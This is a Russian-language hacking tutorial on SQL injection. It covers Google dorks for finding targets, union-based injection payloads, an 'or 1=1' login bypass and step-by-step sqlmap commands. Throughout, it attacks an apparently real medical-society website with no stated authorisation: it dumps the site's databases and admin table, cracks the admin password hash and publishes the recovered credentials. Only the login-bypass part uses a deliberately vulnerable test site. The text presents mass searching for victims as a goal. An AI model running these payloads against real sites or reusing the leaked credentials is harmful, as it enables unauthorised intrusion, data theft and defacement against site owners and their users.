SQL Injection.
The WayТема дня
- Всем Хола!
- Сегодня пост о так званых SQL Injection (SQLi, Укол, Скуля). Рассмотрим уязвимость на примере реального сайта, разберём базовые примитивные ситуации, виды SQLi, и адекватно проведём атаку.
Начальная информация
- SQLi - Уязвимость которая возникает когда отсутствует фильтрация входных параметров, при внедрении динамического параметра в SQL запрос. Позволяет читать, редактировать, удалять базу данных. Так же позволяет дефейсить ту или иную страницу сайта, заливать веб шелл. Является одной из самых опасных, и распространёных уязвимостей.
- SQL - Язык общения с базой данных, используется практически во всех встречающихся нам, сайтах.
Базовые виды SQLi:
- Union-Based SQLi - Вид уязвимости, при которой данные с Базы Данных (БД) выводятся напрямую. Так же, это один из самых опасных, но уже крайне редко встречающихся видов.
- Error-Based SQLi - Вид уязвимости, при котором данные выводятся в ошибке СУБД. Это довольно популярный тип скули, в дальнейшем вы будете не раз встречать их при массовых поисках таргета.
- Boolean-Based SQLi - В случае этого вида уязвимости, данные перебираются посимвольно. Если символ в БД совпадает с тем что внедряем мы - будет возвращаться boolean значение True.
- Time-Based SQLi - Этот вид уязвимости, один из самых неудобных и геморных в процессе експлуатации. Символы в базе данных, определяются временем отклика БД на запрос. Так чтобы сдампить БД средних размеров - у вас может уйти больше недели. Так же примечание: time-based чувствительны к качеству интернет соединения, в том числе и стабильности вашего proxy сервера. Так, вы не можете использовать ноду тора, потому что это будет искажать результаты вывода.
Дисклеймер
- Начнём.
Поиск таргета. Google dorks
- Google Dorks - Это метод поиска информации и потенцальних уязвимостей, посредством использования Google поисковика. Так званые "гугл дорки" пользуются популярностью у пентестеров, и тем более у хакеров (зачастую дефейсеров которые массово ищут одну и ту же уязвимость).
Базовые операторы google:
- site:"site.com" - Привязывает поиск, к конкретному сайту.
- filetype:"txt,pdf,jpg" - Ищет файлы, с задаными расширениями.
- intext:"Admin" - Ищет страницы, с указаным текстом.
- inurl:"page?id=" - Ищет страницы с указаным паттерном.
- OR (условный оператор ИЛИ) - позволяет создать запрос, с разными параметрами разделяя их оператором OR.
- * - Используется как маска в запросе когда мы ищем по паттерну, но это понятие слишком размытое. Пример: "inurl:page.php?*=".
- Давайте составим дорк запрос, для массового поиска предположительно уязвимых страниц:
inurl:"page.php?id="
- Допустим, гугл выдал нам эту страницу:
- Как видим, в строке браузера url, идентично совпадающий с искомым паттерном:
http://musculoskeletalsociety.in/page.php?id=1
- Давайте проверим, может ли эта страница быть уязвимой к SQLi. Для этого в конце ссылки, а именно в значение id (1), добавим единичную кавычку:
http://musculoskeletalsociety.in/page.php?id=1'
- Как мы видим, вместо данных с параметра id, нам вернулась следующая ошибка:
Error :You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
- Это значит что наша кавычка, нарушила синтаксис SQL запроса. А это уже значит что как в случае с XSS - мы можем встроить туда наш код.
Примечание:
- Помимо банальной ошибки SQL синтаксиса, эта кавычка может искажать содержимое страницы. Так если изменяя айди параметра новыми значениями, тот будет выдавать вам определённый контент. Пример:
https://site.com/page.php?photo=1
- Если изменять айди в параметре фото, можно получить все имеющиеся в таблице картинки. А если добавить в конец параметра единичную кавычку - ничего не будет выводиться. Это должно наталкивать на мысль о том, что страница уязвима. О том как её проексплуатировать - будет рассказано ниже.
Експлуатация SQLi
- Давайте рассмотрим как выглядит такой запрос, и как мы его можем модифицировать.
SELECT * FROM pages WHERE id=1
- Этот SQL запрос, получит значение параметра id (1), и достанет все данные с таблицы pages. Давайте мы внедрим свой SQL запрос в даный параметр.
- Для начала, получим все возможные страницы, чтобы найти принтуемые, в которых мы можем вывести нужные данные с БД:
SELECT * FROM pages WHERE id=1 UNION SELECT 1--
- Отсюда наш запрос:
-1+union+select+1+--+-
- Почему "-1" вместо "1"? Это для того чтобы не выводить страницу с айди 1, а так как "-1" не является существующим айди, то мы пишем его. Плюсы в SQL заменяют пробелы, а 2 минуса - это комменатрий. Всё что после "--" не будет обработано.
- Давайте добавим его в запрос, и посмотрим результат:
http://musculoskeletalsociety.in/page.php?id=-1+union+select+1+--+-
- В ошибке говорится, что это не корректное количество столбцов в таблице, давайте мы попробуем найти их количество:
-1+order+by+10+--+-
- В ошибке пишется, что 10 слишком много. Давайте попробуем 4:
- Так, отсюда исходит что 4 это уже мало. Тогда наше значение, от 4 до 10. Попробуем взять среднее число, 7 или 8:
- Окей, диапазон уже меньше. От 4 до 7, давайте попробуем 6:
- Отсюда сделаем вывод, что последний айди в возможном списке, это 5. Давайте составим запрос, где по очереди пересчитаем все колонки:
-1+union+select+1,2,3,4,5+--+-
- Небольшой успех, но давайте мы попробуем применить эти страницы для вывода какой-то информации, например текущую БД:
-1+union+select+1,database(),3,4,5+--+-
- Давайте посмотрим версию MariaDB:
-1+union+select+1,database(),version(),4,5+--
- Кто ещё не понял, эти произвольные команды мы вводим на месте тех айди, которые страница вывела при запросе "-1+union+select+1,2,3,4,5+--+-", то есть 2 и 3.
- Давайте попробуем получить название всех имеющихся БД в общей БД:
-1+union+select+1,schema_name,3,4,5+from+information_schema.schemata+--+-
- Окей, это была ручная практика експлуатации SQLi, в строке браузера. Но, есть ещё один вариант експлуатации SQLi, а именно форма логина.
Обход аутентификации с помощью SQLi
- Давайте представим такую ситуацию, у нас есть таблица users, где лежит логин и пароль админа:
- Если сделать запрос "SELECT * FROM users", нам выведет все колонки и их значения, с таблицы users.
- Давайте напишем SQL запрос, который будет передавать с формы на странице логина, юзернейм и пароль к нему:
SELECT * FROM users WHERE username = 'admin2' AND password = 'admin';
- Где юзернейм admin2, а пароль admin.
- В случае если такая строчка (логин:пароль) есть в таблице users, и оба значения = True, то этот True возвращается на страницу логина, и та говорит юзеру: "Вы успешно залогированы под юзером admin2".
- Если же пара "login:password" не существует, то возвращается значение False, и на странице логина появляется сообщение: "Для логина admin2 нету такого пароля."
- Давайте посмотрим, как мы можем повлиять на этот запрос, чтобы он вернул True, и нам не пришлось использовать пароль.
- Мы знаем, что есть логин admin2, но не знаем его пароля. В таком случае, мы можем ввести правильные данные только в форму логина. Теперь, составим байпасс через форму логина:
Теперь разберём что и как тут работает.
- Сначала мы закрыли единичной кавычкой наш логин. После чего пишем ИЛИ 1=1, а поскольку 1=1 это True, то SQL запрос обязан вернуть True, для логина admin2. двойной дефис как говорилось ранее, играет роль комментария, но в случае если после него добавить какой-то символ через пробел, или же сам пробел. Тогда проверка на пароль отрезается, и запрос даже не проверяет существует ли такой пароль у этого юзера.
- Давайте посмотрим как работает этот байпасс:
SELECT * FROM users WHERE username = 'admin2' or 1=1 -- ' AND password = 'не знаю я пароль';
- Как видим, у нас получилось вернуть этот True, а значит мы выполнили иньекцию.
- Отсюда наш пейлоад для формы "Login":
admin2' or 1=1 --
- В форму пароля, можно ввести любой рандомный текст поскольку он проверяться сервером не будет.
SqlMap
- Это всё хорошо, но кто в 2021 году будет вручную експлуатировать SQLi? Ответ очевиден - никто!
- Поэтому для таких нужд написали просто замечательный инструмент, и имя ему SqlMap. Давайте установим его:
$ git clone https://github.com/sqlmapproject/sqlmap && cd sqlmap
$ python3 sqlmap.py -h
- Нас встречает меню использования SqlMap, давайте чекнем что нам предлагают:
- Как видим, тут довольно много опций, но чтобы получить более детальное меню, пропишите "python3 sqlmap.py -hh".
- Давайте разберёмся с основными опциями, которые вам могут понадобиться в ближайшее время:
- --url="http://site.com/page.php?id=1" - Указать ссылку на уязвимую страницу.
- --random-agent - Постоянный спуфинг юзер агента.
- --tor - Использует TOR прокси (по умлочанию на 9050 порту). Для её работы, пропишите в новом терминале "tor".
- --proxy-cred="протокол://айпи:порт:логин:пароль" - Использует ваш прокси с логином и паролем.
- --batch - Выполняет действия по умолчанию (вам не нужно никак взаимодействовать с sqlmap во время его работы).
- -m - Указывает на файл, где построчно прописаны ссылки-таргеты.
- --dbs - При успешной експлуатации SQLi, выводит все БД.
- --level=(1/2/3/4/5) = Указывает уровень детальности сканирования, чем выше тем плотнее идёт тестирование. По умолчанию 1
- --risk=(1/2/3) - Указывает уровень риска, на котором будет проводиться тестирование. По умолчанию 1
- -D <название СУБД> - Указывает на взаимодействие с даной БД.
- -T <название таблицы> - Указывает на взаимодействие с даной таблицей.
- -С <название колонки> - Указывает на взаимодействие с даной колонкой.
- --tables - Получить названия таблиц в БД.
- --columns - Получить названия колонок в таблице.
- --dump - Сдампить названия текущих таблиц/колонок/их содержимое.
- --dump-all - Сдампить всю БД.
- --tamper=<tamper скрипт> - Позволяет воспользоваться байпассом для того или иного WAF.
- --sql-shell - Запустить шелл, для прямого взаимодействия с БД через терминал.
- Теперь, приступим к експлуатации уязвимости.
Эксплуатация
SQLi в уязвимом параметре
- Oткрываем терминал, и пробуем проверить уязвима ли наша страница:
sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --tor --random-agent --dbs --batch
- Как видите, он нашёл здесь сразу 4 вида SQLi, и как бонус XSS (выводимый текст в ошибке может использоваться как HTML иньекция):
- Давайте посмотрим какие таблицы находятся в БД "culosmus_muscul":
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul --tables
- Тут неплохой такой интерес для нас имеет таблица "admin". Давайте просмотрим колонки внутри таблицы:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul -T admin -columns
- Отлично, давайте сдампим таблицу, и посмотрим что внутри неё:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --batch -D culosmus_muscul -T admin --dump
- Как видите, SqlMap нашёл в таблице пароль, зашифрованый в md5.
- И, он начал его брутить посредством встроеного словаря. Толку от этого мало, шанс что SqlMap потянет брут хешей довольно низкий. А вдруг там 10к таких паролей? Вы будете до старости их взламывать, а профита как не было, так и не будет.
- Давайте отключим опцию --batch, которая заставляет SqlMap по умолчанию начинать брут хешей, и просто сдампим таблицу:
- А теперь, давайте мы поставим полный дамп БД, пока мы будем искать методы взлома нашего хеша:
$ sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent --dump-all
- Так, приступим к нашему хешу:
25a41cec631264f04815eda23dc6edd9
- Первым делом, советую попробовать сервис CrackStation:
https://crackstation.net
- Он сам определяет тип хеша, и ищет к нему пароль. Так же, приятным бонусом является то что он бесплатный, и позволяет загружать до 20 хешей за 1 раз.
- Увы, но он не смог найти пароль. Давайте заюзаем старый но надёжный метод, просто загуглим наш хеш. Может он где-то светился:
- Как видите, нам прям таки с ходу светят пароль:
- И мы имеем пару "admin:vizag@123", осталось только найти место, куда эти данные авторизации можно воткнуть.
- В этом нам могут помочь Nmap, Dirsearch, Security-admin. Nmap для скана екзотичных портов, где могут поднять админ панель. Dirsearch для поиска всех url-ов, в том числе и админ панелей. Security-admin вовсе только это и умеет.
- Информация о выше упомянутых инструментах - есть на канале, попробуйте просто поискать.
- Но вот не задача, Security-admin нашёл только эту страницу:
- А Nmap в паре с Dirsearch только CPanel на 2082 порту:
- На первой панели, ничего нету. Она не делает никаких запросов, это просто страница-пустышка. А учётные даные админа на CPanel не прокатили. Вернёмся к дампу БД сайта:
- Поскольку на написание этой статейки у меня пошёл уже второй день, то мне пришлось прервать дамп БД information_chema. Она не предствляет из себя практически никакого интереса, это стандартная СУБД которая есть практически в каждой БД.
- Давайте опять пропишем команду для вывода названий БД, чтобы посмотреть куда сохранился вчерашний дамп:
sudo python3 sqlmap.py -u " http://musculoskeletalsociety.in/page.php?id=1" --random-agent -dbs
- Если вы будете запускать не от рута, то собственно и путь к папке с дампами будет другой.
- Давайте посмотрим что внутри файлов с дампом:
- Теперь просто открываете их в каком-то файло-редакторе по типу Libre-
Office.
.SQLi в форме логина.
- Для этого, воспользуемся сайтом который предоставляет намеренно оставленые уязвимости, в том числе и SQLi:
http://testphp.vulnweb.com/login.php
- Тут дефолтный логин "test", давайте попробуем залогинится под ним, юзая пароль "velial000":
- А вот если залогинится под "test:test":
- Наша задача, найти байпасс который сможет залогинить нас под логином "test". Для этого воспользуемся тем же софтом для SQLi, что и в предыдущий раз.
- Давайте с помощью Burp Suite перехватим наш запрос, и передадим его нашему SqlMap.
- Жмём Forward, и вводим данные в форму логина:
- А вот и наш POST запрос, который мы должны дать SqlMap. Сохраняем его, и вставляем в текстовый файл:
- Время запускать:
sudo python3 sqlmap.py -r sqlmap-req.txt -p uname --batch
- Разбор флагов:
- -r <файл> - Файл в котором сохранён запрос.
- -p <название параметра (uname)> - Параметр в который будет делаться иньекция. В нашем случае он зовётся uname (чекай скриншот выше).
- Отсюда мы получаем следующий байпасс:
test' AND (SELECT 1340 FROM (SELECT(SLEEP(1)))MSDf)-- RmMM
- Пробуем применить его к нашему юзеру "test":
- Давайте допишем к нашей команде ещё один флаг, а именно --dbs:
sudo python3 sqlmap.py -r sqlmap-req.txt -p uname --batch --dbs
- И это успех! Мы смогли обойти защиту для даного логина, и смогли получить доступ ко всей БД.
Дополнительные материалы
- Статьи на тему SQL Injection которые я рекомендую к прочтению:
- https://hackware.ru/?p=3362
- https://defcon.ru/web-security/2784
- https://proglib.io/p/vzlamyvaem-sayty-shpargalka-po-sql-inekciyam-2019-12-21
- https://xakep.ru/2011/12/06/57950
- https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/PT-devteev-Advanced-SQL-Injection.pdf
- Видео Loi Liang Yang на тему SQLi (советую посмотреть его контент):
- Списки дорков и SQLi пейлоадов:
- https://github.com/payloadbox/sql-injection-payload-list
- https://cybersguards.com/google-dorks-list-latest-sql-dorks-list-fresh-update
Заключение
- SQL иньекции это на самом деле, довольно опасная уязвимость которая позволяет провернуть атаку как на юзера, так и на сервер. Последствия для атакуемого ресурса могут быть катастрофичными.
- Мы можем рассуждать здесь о многих нюансах этой уязвимости, о том почему нельзя сделать иньекцию своих данных в БД с помощью INSERT в связке "MySQL+PHP" (с подальшим хранением их внутри), или о том почему WAF блокирует ваши запросы. На это уйдёт крайне много времени (и вашего, и моего). Я показал как работает эта уязвимость, как експлуатируется, и чем это грозит жертвам.
- Но массовый взлом сайтов, не так привлекателен как целенаправленый. Во втором случае, вы можете доказать и себе и окружающим, что вы не тупой скрипт-кидди, а человек который может сделать что-то сам, не выёбывая всё что плохо прикрыто.
- О этом следующий пост, будем обучаться сбору предположительно уязвимых страниц, разделять их на тематические списки, определять мх доступность, и тестировать на уязвимости которые я описал в двух последних постах (XSS, SQLi).